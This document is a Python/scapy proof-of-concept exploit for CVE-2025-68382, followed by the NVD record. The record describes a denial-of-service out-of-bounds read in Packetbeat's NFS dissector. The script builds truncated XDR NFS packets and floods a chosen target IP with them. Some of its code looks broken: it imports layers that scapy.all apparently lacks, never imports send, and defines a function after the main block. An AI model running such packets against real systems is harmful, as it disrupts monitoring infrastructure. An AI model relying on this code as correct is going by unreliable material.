CVE-2025-68382

# CVE-2025-68382 PoC - Truncated XDR NFS Packet # This PoC demonstrates sending a malformed NFS packet with truncated XDR data # Note: For authorized security testing only from scapy.all import IP, TCP, NFS, XDR import struct def craft_truncated_nfs_packet(): """Craft a truncated XDR-encoded NFS RPC message to trigger OOB read""" # Create IP header ip_packet = IP(src="192.168.1.100", dst="192.168.1.200") # Create TCP header (NFS typically uses port 2049) tcp_packet = TCP(sport=1000, dport=2049, flags="PA") # Create truncated XDR data # Normal XDR encoding would have proper length, but we truncate it truncated_xdr = b'\x00\x00\x00\x01' # XDR integer (truncated) truncated_xdr += b'\x00\x00\x00\x00' # More XDR data truncated_xdr += b'\x00\x00' # Truncated - triggers OOB read # Create NFS packet with truncated payload nfs_packet = NFS() / truncated_xdr # Assemble final packet packet = ip_packet / tcp_packet / nfs_packet return packet def send_exploit(target_ip, count=100): """Send malformed packets to target""" packet = craft_truncated_nfs_packet() packet[IP].dst = target_ip print(f"[*] Sending {count} truncated NFS packets to {target_ip}") for i in range(count): send(packet, verbose=0) print("[*] Packets sent successfully") if __name__ == "__main__": import sys if len(sys.argv) > 1: target = sys.argv[1] send_exploit(target) else: print("Usage: python cve_2025_68382_poc.py <target_ip>") # Additional: Craft NFS CALL packet with malformed fragment def craft_malformed_nfs_call(): """Create NFS CALL with invalid XDR fragment""" # NFS program number for mount nfs_call = b'\x00\x00\x00\x00' # RPC version nfs_call += b'\x00\x00\x00\x02' # NFS Program number nfs_call += b'\x00\x00\x00\x03' # Program version nfs_call += b'\x00\x00\x00\x01' # Procedure number nfs_call += b'\x00' * 20 # Credentials (truncated) return nfs_call

{"cve": {"id": "CVE-2025-68382", "sourceIdentifier": "[email protected]", "published": "2025-12-18T22:16:02.233", "lastModified": "2025-12-23T17:43:20.107", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out-of-bounds read (CWE-125) allows an unauthenticated remote attacker to perform a buffer overflow (CAPEC-100) via the NFS protocol dissector, leading to a denial-of-service (DoS) through a reliable process crash when handling truncated XDR-encoded RPC messages."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:elasticsearch:packetbeat:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.0", "versionEndIncluding": "7.17.29", "matchCriteriaId": "D210516F-A232-4230-A069-E0955D91DCAC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:elasticsearch:packetbeat:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.19.9", "matchCriteriaId": "A50D6282-69A2-4E91-A30F-A97D06F59159"}, {"vulnerable": true, "criteria": "cpe:2.3:a:elasticsearch:packetbeat:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.0", "versionEndExcluding": "9.1.9", "matchCriteriaId": "D24C565F-FB26-4D8D-9963-58E77B7F7557"}, {"vulnerable": true, "criteria": "cpe:2.3:a:elasticsearch:packetbeat:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.2.0", "versionEndExcluding": "9.2.3", "matchCriteriaId": "7BFB3597-387F-439B-8AE2-AA97239DAE49"}]}]}], "references": [{"url": "https://discuss.elastic.co/t/packetbeat-8-19-9-9-1-9-and-9-2-3-security-update-esa-2025-31/384179", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}